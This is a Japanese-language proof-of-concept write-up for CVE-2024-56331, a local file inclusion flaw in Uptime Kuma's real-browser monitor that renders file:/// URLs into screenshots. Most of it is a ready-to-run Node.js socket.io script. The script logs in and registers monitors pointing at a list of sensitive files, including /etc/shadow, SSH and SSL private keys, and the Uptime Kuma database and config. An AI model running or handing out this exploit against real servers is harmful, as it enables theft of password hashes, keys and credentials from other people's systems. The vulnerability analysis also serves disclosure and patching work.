
PoCエクスプロイト for CVE-2024-56331、Uptime Kumaにおける不適切なURL処理によるローカルファイルインクルードを実証。real-browser monitor の `file:///` プロトコルを使用して機密性の高いサーバーファイルのスクリーンショットを取得します。
Real-Browserモニター)不適切なURL処理の脆弱性により、攻撃者は file:/// プロトコルを悪用してサーバー上の機密ローカルファイルにアクセスできます。この脆弱性は、"real-browser" リクエストタイプを介して発生します。このリクエストタイプは、攻撃者が指定したURLのスクリーンショットを撮影します。file:///etc/passwd などのローカルファイルパスを指定することで、攻撃者はサーバーから機密データを読み取ることが可能です。
この脆弱性は、システムがURLフィールドのユーザー入力を適切に検証またはサニタイズしていないために発生します。具体的には以下の通りです。
<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">)では、file:/// プロトコルを使用した任意のファイルパスを入力でき、サーバーサイドでの検証が行われません。file:///etc/passwd)が入力されると、ブラウザがそのファイルを取得し、その内容をキャプチャします。const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
ユーザー入力が検証されていないため、攻撃者はURLを操作してローカルファイル(例: file:///etc/passwd)を要求し、システムがファイル内容のスクリーンショットを撮影するため、機密データが漏洩する可能性があります。
view-source:file:///etc/passwd)を入力します。PoCの例:
const { io } = require("socket.io-client");
// サーバー設定と認証情報
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// Linuxシステム上の機密ファイル一覧
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // ディストリビューションによって異なる場合あり
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma データベースファイル
"/app/data/config.json" // Uptime Kuma 設定ファイル
];
// リクエストを送信し、応答を待つ関数
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`ファイル ${filePath} の応答:`, res);
resolve();
});
});
}
// 接続と 'add' リクエスト送信を行うメイン関数
(async () => {
const socket = io(CONFIG.serverUrl);
// 接続エラーの処理
socket.on("connect_error", (err) => {
console.error("接続失敗:", err.message);
});
try {
// 認証情報で接続
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("接続成功");
resolve();
} else {
console.log(res);
reject(new Error("接続失敗"));
}
});
});
// 各ファイルに対して Promise.all を用いてリクエストを同期的に送信
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// すべてのリクエストが送信されるのを待機
await Promise.all([...realBrowserRequests]);
// すべてのリクエスト送信後にソケットを閉じる
socket.close();
console.log("すべてのリクエスト後に接続を閉じました。");
} catch (error) {
console.error("エラー:", error.message);
socket.close();
}
})();
この脆弱性は**ローカルファイルインクルージョン(LFI)**の問題であり、攻撃者がサーバー上の機密ファイルにアクセスし、潜在的には外部に持ち出すことを可能にします。影響は重大であり、攻撃者は重要なシステムファイルやアプリケーション設定ファイルにアクセスできます。例:
/etc/passwd: ユーザーアカウント情報を含む。/etc/shadow: パスワードハッシュを含む。/app/data/kuma.db: Uptime Kuma 監視ツールのデータベースを含む。/app/data/config.json: Uptime Kuma のデータベース認証情報を含む。認証済みユーザーで "real-browser" モードでURLを送信できる者は、これらのファイルのスクリーンショットを通じて機密データを暴露するリスクがあります。